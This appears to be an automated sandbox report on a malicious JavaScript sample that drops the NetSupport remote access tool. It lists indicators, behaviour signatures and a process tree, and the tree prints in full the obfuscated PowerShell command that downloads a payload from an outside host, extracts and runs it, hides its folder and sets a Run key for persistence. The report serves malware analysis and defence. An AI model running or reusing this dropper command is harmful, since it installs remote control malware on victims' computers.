Analysis
- max time kernel
93s - max time network
130s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
10/04/2024, 01:08
General
- Target 1de0458822ac2ce81c11a64fa8c4eb90d6b9173c10eb89d4dedbecaaf566b1a6.js
- Size 6.4MB
- Sample240410-bhhr3abc67
- SHA256 1de0458822ac2ce81c11a64fa8c4eb90d6b9173c10eb89d4dedbecaaf566b1a6
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://mtlaikins.com/data.php?11662
-
exe.dropper
https://mtlaikins.com/data.php?11662
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 3 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\1de0458822ac2ce81c11a64fa8c4eb90d6b9173c10eb89d4dedbecaaf566b1a6.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $AOATSVfekjnOeZAYwgzwjTrz='https://mtlaikins.com/data.php?11662';$PrTmNdxtEiPOoHPa=(New-Object System.Net.WebClient).DownloadString($AOATSVfekjnOeZAYwgzwjTrz);$jVVykcgOtGPLVDvtAtbxDO=[System.Convert]::FromBase64String($PrTmNdxtEiPOoHPa);$zxc = Get-Random -Minimum -10 -Maximum 37; $UFqKhcGSPeCMuAEW=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $UFqKhcGSPeCMuAEW -PathType Container)) { New-Item -Path $UFqKhcGSPeCMuAEW -ItemType Directory };$p=Join-Path $UFqKhcGSPeCMuAEW 'BB.zip';[System.IO.File]::WriteAllBytes($p,$jVVykcgOtGPLVDvtAtbxDO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$UFqKhcGSPeCMuAEW)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $UFqKhcGSPeCMuAEW 'client33.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$AZ=Get-Item $UFqKhcGSPeCMuAEW -Force; $AZ.attributes='Hidden';$s=$UFqKhcGSPeCMuAEW+'\client33.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICEC';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\DIVX16\client33.exe"C:\Users\Admin\AppData\Roaming\DIVX16\client33.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_vjtwc3qa.xhd.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICL32.dll
client32.ini
client33.exe
pcicapi.dll
pcichek.dll
memory/224-12-0x000001783F5D0000-0x000001783F5E0000-memory.dmp
memory/224-15-0x00000178582F0000-0x0000017858302000-memory.dmp
memory/224-14-0x000001783F630000-0x000001783F63A000-memory.dmp
memory/224-104-0x00007FFABDCB0000-0x00007FFABE771000-memory.dmp
memory/224-5-0x000001783F5E0000-0x000001783F602000-memory.dmp
memory/224-11-0x000001783F5D0000-0x000001783F5E0000-memory.dmp
memory/224-10-0x00007FFABDCB0000-0x00007FFABE771000-memory.dmp